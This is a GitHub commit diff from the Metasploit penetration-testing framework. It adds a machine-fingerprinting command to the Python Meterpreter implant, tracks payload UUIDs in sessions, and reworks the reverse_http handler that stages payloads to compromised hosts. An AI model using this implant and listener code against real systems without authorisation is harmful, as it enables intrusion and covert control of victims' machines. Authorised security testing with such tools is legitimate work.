Skip to content

Commit 9f15824

Browse files
committed
Merge branch 'master' into staging/rails-4.0
Conflicts: Gemfile.lock
2 parents bb91f36 + a54182a commit 9f15824

39 files changed

+994
-175
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ PATH
5656
bcrypt
5757
jsobfu (~> 0.2.0)
5858
json
59-
meterpreter_bins (= 0.0.17)
59+
meterpreter_bins (= 0.0.18)
6060
msgpack
6161
nokogiri
6262
packetfu (= 1.1.9)
@@ -152,7 +152,7 @@ GEM
152152
json (1.8.2)
153153
mail (2.6.3)
154154
mime-types (>= 1.16, < 3)
155-
meterpreter_bins (0.0.17)
155+
meterpreter_bins (0.0.18)
156156
method_source (0.8.2)
157157
mime-types (2.4.3)
158158
mini_portile (0.6.2)
-21.2 KB
Binary file not shown.
-21.2 KB
Binary file not shown.
-192 KB
Binary file not shown.

data/meterpreter/meterpreter.py

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#!/usr/bin/python
22
import code
33
import os
4+
import platform
45
import random
56
import select
67
import socket
@@ -141,6 +142,8 @@
141142
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
142143
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
143144

145+
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
146+
144147
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
145148
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
146149

@@ -566,6 +569,36 @@ def handle_dead_resource_channel(self, channel_id):
566569
pkt = struct.pack('>I', len(pkt) + 4) + pkt
567570
self.send_packet(pkt)
568571

572+
def _core_machine_id(self, request, response):
573+
serial = ''
574+
machine_name = platform.uname()[1]
575+
if has_windll:
576+
from ctypes import wintypes
577+
578+
k32 = ctypes.windll.kernel32
579+
sys_dir = ctypes.create_unicode_buffer(260)
580+
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
581+
return ERROR_FAILURE_WINDOWS
582+
583+
vol_buf = ctypes.create_unicode_buffer(260)
584+
fs_buf = ctypes.create_unicode_buffer(260)
585+
serial_num = wintypes.DWORD(0)
586+
587+
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
588+
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
589+
None, fs_buf, ctypes.sizeof(fs_buf)):
590+
return ERROR_FAILURE_WINDOWS
591+
serial_num = serial_num.value
592+
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
593+
else:
594+
for _, _, files in os.walk('/dev/disk/by-id/'):
595+
for f in files:
596+
if f[:4] == 'ata-':
597+
serial = f[4:]
598+
break
599+
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
600+
return ERROR_SUCCESS, response
601+
569602
def _core_loadlib(self, request, response):
570603
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
571604
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
244 KB
Binary file not shown.

lib/msf/base/serializer/readable_text.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -536,6 +536,7 @@ def self.dump_sessions(framework, opts={})
536536
]
537537

538538
columns << 'Via' if verbose
539+
columns << 'PayloadId' if verbose
539540

540541
tbl = Rex::Ui::Text::Table.new(
541542
'Indent' => indent,
@@ -555,7 +556,11 @@ def self.dump_sessions(framework, opts={})
555556
if session.respond_to? :platform
556557
row[1] += " " + session.platform
557558
end
558-
row << session.via_exploit if verbose and session.via_exploit
559+
560+
if verbose
561+
row << session.via_exploit.to_s
562+
row << session.payload_uuid.to_s
563+
end
559564

560565
tbl << row
561566
}
@@ -566,7 +571,7 @@ def self.dump_sessions(framework, opts={})
566571
# Dumps the list of running jobs.
567572
#
568573
# @param framework [Msf::Framework] the framework.
569-
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
574+
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
570575
# and start time, if they exist, for each job.
571576
# @param indent [Integer] the indentation amount.
572577
# @param col [Integer] the column wrap width.

lib/msf/core/db_manager/session.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -124,6 +124,11 @@ def infer_vuln_from_session(session, wspace)
124124
mod_fullname = session.via_exploit
125125
end
126126
mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname)
127+
if mod_detail.nil?
128+
# Then the cache isn't built yet, take the hit for instantiating the
129+
# module
130+
mod_detail = framework.modules.create(mod_fullname)
131+
end
127132
mod_name = mod_detail.name
128133

129134
vuln_info = {

lib/msf/core/handler.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -198,6 +198,9 @@ def create_session(conn, opts={})
198198
# and any relevant information
199199
s.set_from_exploit(assoc_exploit)
200200

201+
# Pass along any associated payload uuid if specified
202+
s.payload_uuid = opts[:payload_uuid] if opts[:payload_uuid]
203+
201204
# If the session is valid, register it with the framework and
202205
# notify any waiters we may have.
203206
if (s)

lib/msf/core/handler/reverse_http.rb

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -215,17 +215,25 @@ def lookup_proxy_settings
215215
#
216216
def on_request(cli, req, obj)
217217
resp = Rex::Proto::Http::Response.new
218+
info = process_uri_resource(req.relative_resource)
219+
uuid = info[:uuid] || Msf::Payload::UUID.new
218220

219-
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
221+
# Configure the UUID architecture and payload if necessary
222+
uuid.arch ||= obj.arch
223+
uuid.platform ||= obj.platform
220224

221-
uri_match = process_uri_resource(req.relative_resource)
225+
print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})"
226+
227+
conn_id = nil
228+
if info[:mode] && info[:mode] != :connect
229+
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
230+
end
222231

223232
self.pending_connections += 1
224233

225234
# Process the requested resource.
226-
case uri_match
227-
when /^\/INITPY/
228-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
235+
case info[:mode]
236+
when :init_python
229237
url = payload_uri(req) + conn_id + '/'
230238

231239
blob = ""
@@ -256,10 +264,10 @@ def on_request(cli, req, obj)
256264
:expiration => datastore['SessionExpirationTimeout'].to_i,
257265
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
258266
:ssl => ssl?,
267+
:payload_uuid => uuid
259268
})
260269

261-
when /^\/INITJM/
262-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
270+
when :init_java
263271
url = payload_uri(req) + conn_id + "/\x00"
264272

265273
blob = ""
@@ -283,11 +291,11 @@ def on_request(cli, req, obj)
283291
:url => url,
284292
:expiration => datastore['SessionExpirationTimeout'].to_i,
285293
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
286-
:ssl => ssl?
294+
:ssl => ssl?,
295+
:payload_uuid => uuid
287296
})
288297

289-
when /^\/A?INITM?/
290-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
298+
when :init_native
291299
url = payload_uri(req) + conn_id + "/\x00"
292300

293301
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
@@ -323,13 +331,12 @@ def on_request(cli, req, obj)
323331
:expiration => datastore['SessionExpirationTimeout'].to_i,
324332
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
325333
:ssl => ssl?,
334+
:payload_uuid => uuid
326335
})
327336

328-
when /^\/CONN_.*\//
337+
when :connect
329338
resp.body = ""
330-
# Grab the checksummed version of CONN from the payload's request.
331-
conn_id = req.relative_resource.gsub("/", "")
332-
339+
conn_id = req.relative_resource
333340
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
334341

335342
# Short-circuit the payload's handle_connection processing for create_session
@@ -340,10 +347,11 @@ def on_request(cli, req, obj)
340347
:expiration => datastore['SessionExpirationTimeout'].to_i,
341348
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
342349
:ssl => ssl?,
350+
:payload_uuid => uuid
343351
})
344352

345353
else
346-
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
354+
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
347355
resp.code = 200
348356
resp.message = "OK"
349357
resp.body = datastore['HttpUnknownRequestResponse'].to_s

0 commit comments

Comments
 (0)